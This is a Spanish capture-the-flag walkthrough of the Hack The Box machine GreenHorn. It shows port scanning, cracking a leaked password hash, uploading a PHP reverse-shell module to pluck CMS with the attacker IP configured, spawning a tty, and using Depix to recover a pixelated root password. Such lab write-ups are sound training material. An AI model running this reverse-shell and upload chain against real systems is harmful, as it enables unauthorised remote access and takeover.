Page cover

๐ŸŸขGreenHorn

En esta ocasiรณn vamos a hacer el writeup de la mรกquina GreenHorn de Hack the Box, una mรกquina Linux de dificultad easy.

Primer acceso

Aรฑadimos la IP 10.10.11.249 a nuestro /etc/hosts y accedemos travรฉs del navegador.

Hacemos click en admin y nos lleva a una pรกgina para introducir una contraseรฑa, y nos da la versiรณn, con lo que podemos buscar un exploit pรบblico:

Escaneo de puertos

sudo nmap -v -sV -T5 10.10.11.25
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
3000/tcp open  ppp?

Encontramos 3 puertos abiertos

Bรบsqueda de exploits

Vamos a buscar exploit para la versiรณn pluck 4.7.18. Encontramos este exploit:

ยฟQuรฉ quiere decir esto?

Un atacante con una cuenta puede cargar un mรณdulo falso en el sistema y ejecutar su contenido en el servidor. Esta es una vulnerabilidad crรญtica porque los desarrolladores no implementaron controles estrictos en los archivos cargados ni restringieron la ejecuciรณn de archivos en el servidor.

Si venimos al puerto 3000 que esta abierto en la mรกquina llegamos a esta pรกgina, que es una especie de GitHub propio de esta empresa:

Y en la parte de Explore encontramos un repo:

Navegando un poco encontramos unas credenciales:

pass.php
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
<?php $token = '65c1e5cf86b4d727962672211b91924b828a0c05ece3954c75e3befa6b361fa3eb28c407f7101bc4eae2c604c96c641575c7fe82dbdc6ce0cf7d4a006f53bac7'; ?>

Copiamos el valor del pass.php y lo crackeamos por ejemplo con crackstation:

Buuum! Ya tenemos una contraseรฑa! Vamos a probarla con el login que nos encontramos antes:

Conseguimos acceder sin problema.

Explotaciรณn

Si le damos a check writable options nos devuelve todos los archivos y rutas en las que tenemos permisos de escritura:

Encontramos algรบn archivo interesante como /data/settings/langpref.php que podrรญamos intentar manipular para obtener una reverse shell.

En Modules > Install a module nos encontramos que podemos instalar un mรณdulo, con lo que podemos intentar subir una webshell en PHP.

En Kali Linux por defecto tenemos una carpeta con webshells en la siguiente ruta:

cd /usr/share/webshells                     

ls             
asp  aspx  cfm  jsp  laudanum  perl  php

cd php

ls
findsocket  php-backdoor.php  php-reverse-shell.php  qsd-php-backdoor.php  simple-backdoor.php

Vamos a usar el php-reverse-shell.php, y lo tenemos que editar con nuestra IP de atacante y el puerto por el que vamos a quedarnos a la escucha:

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.70';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Para poder cargar mรณdulos nuevos en este site necesitamos comprimir la shell en un archivo zip. Podemos hacerlo de la siguiente manera:

sudo zip payload.zip php-reverse-shell.php

Entonces abrimos un listener con netcat por el puerto 1234 y subimos el zip con la shell:

Vemos que se ha instalado correctamente y para recibir la conexiรณn en nuestra terminal tenemos que acceder al archivo php. Tenemos que localizar la ruta donde se sube. Podrรญamos saberlo con BurpSuite al capturar la peticiรณn de subida, o haciendo un poco de research. Concretamente en esta mรกquina se sube a la siguiente ruta:

http://greenhorn.htb/data/modules/payload/php-reverse-shell.php

Buum! Recibimos la conexiรณn en nuestra terminal.

User flag

Como vemos somos el usuario www-data y solo hay 2 usuarios en el sistema:

  • git

  • junior

Si intentamos acceder al directorio junior, podemos acceder pero no nos deja leer el user.txt. Lo primero vamos a hacer un tratamiento de la tty para movernos un poco mejor:

/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

Como ya tenemos un password, vamos a intentar lo mรกs sencillo: cambiar al usuario junior con la contraseรฑa iloveyou1:

Ya tenemos el user flag! ๐Ÿ†

Escalada de privilegios

Hay un archivo pdf sospechoso en el directorio de junior, pero no podemos leerlo directamente, por lo que nos lo vamos a enviar a nuestro Kali Linux abriendo un servidor con python:

Al abrir este PDF encontramos una contraseรฑa... pero estรก pixelada!

ยฟSabes quรฉ significa esto? ยกHoy vamos a aprender otra herramienta! Vamos a despixelar este password y obtener acceso root.

Vamos a utilizar una herramienta super popular para despixalizar contraseรฑas: Depix:

Si arrastramos la imagen pixelada al explorador de archivos se nos guarda la imagen separada del documento, que es lo que necesitamos para pasรกrselo a la herramienta:

Tambiรฉn podrรญamos usar alguna herramienta online para extraer imรกgenes de PDFs como esta:

Ahora nos clonamos el repo y lo tenemos que ejecutar de la siguiente manera:

python3 depix.py \
    -p ../image.7R3CS2.png \
    -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \
    -o /home/kali/Descargas/root_output.png
    
2024-08-08 11:54:14,049 - Loading pixelated image from ../image.7R3CS2.png
2024-08-08 11:54:14,093 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-08-08 11:54:15,193 - Finding color rectangles from pixelated space
2024-08-08 11:54:15,194 - Found 252 same color rectangles
2024-08-08 11:54:15,194 - 190 rectangles left after moot filter
2024-08-08 11:54:15,194 - Found 1 different rectangle sizes
2024-08-08 11:54:15,194 - Finding matches in search image
2024-08-08 11:54:15,194 - Scanning 190 blocks with size (5, 5)
2024-08-08 11:54:15,215 - Scanning in searchImage: 0/1674
2024-08-08 11:54:47,807 - Removing blocks with no matches
2024-08-08 11:54:47,808 - Splitting single matches and multiple matches
2024-08-08 11:54:47,812 - [16 straight matches | 174 multiple matches]
2024-08-08 11:54:47,812 - Trying geometrical matches on single-match squares
2024-08-08 11:54:48,045 - [29 straight matches | 161 multiple matches]
2024-08-08 11:54:48,046 - Trying another pass on geometrical matches
2024-08-08 11:54:48,246 - [41 straight matches | 149 multiple matches]
2024-08-08 11:54:48,246 - Writing single match results to output
2024-08-08 11:54:48,246 - Writing average results for multiple matches to output
2024-08-08 11:54:50,140 - Saving output image to: /home/kali/Descargas/root_output.png

Ahora si nos abrimos la imagen que nos ha generado vemos que lo ha despixelizado bastante bien y podemos ver la contraseรฑa bastante clara:

sidefromsidetheothersidesidefromsidetheotherside

Vamos a probarlo cambiando al usuario root y introduciendo esta contraseรฑa:

Ha funcionado y obtenemos la root flag! ๐Ÿ†

รšltima actualizaciรณn

ยฟTe fue รบtil?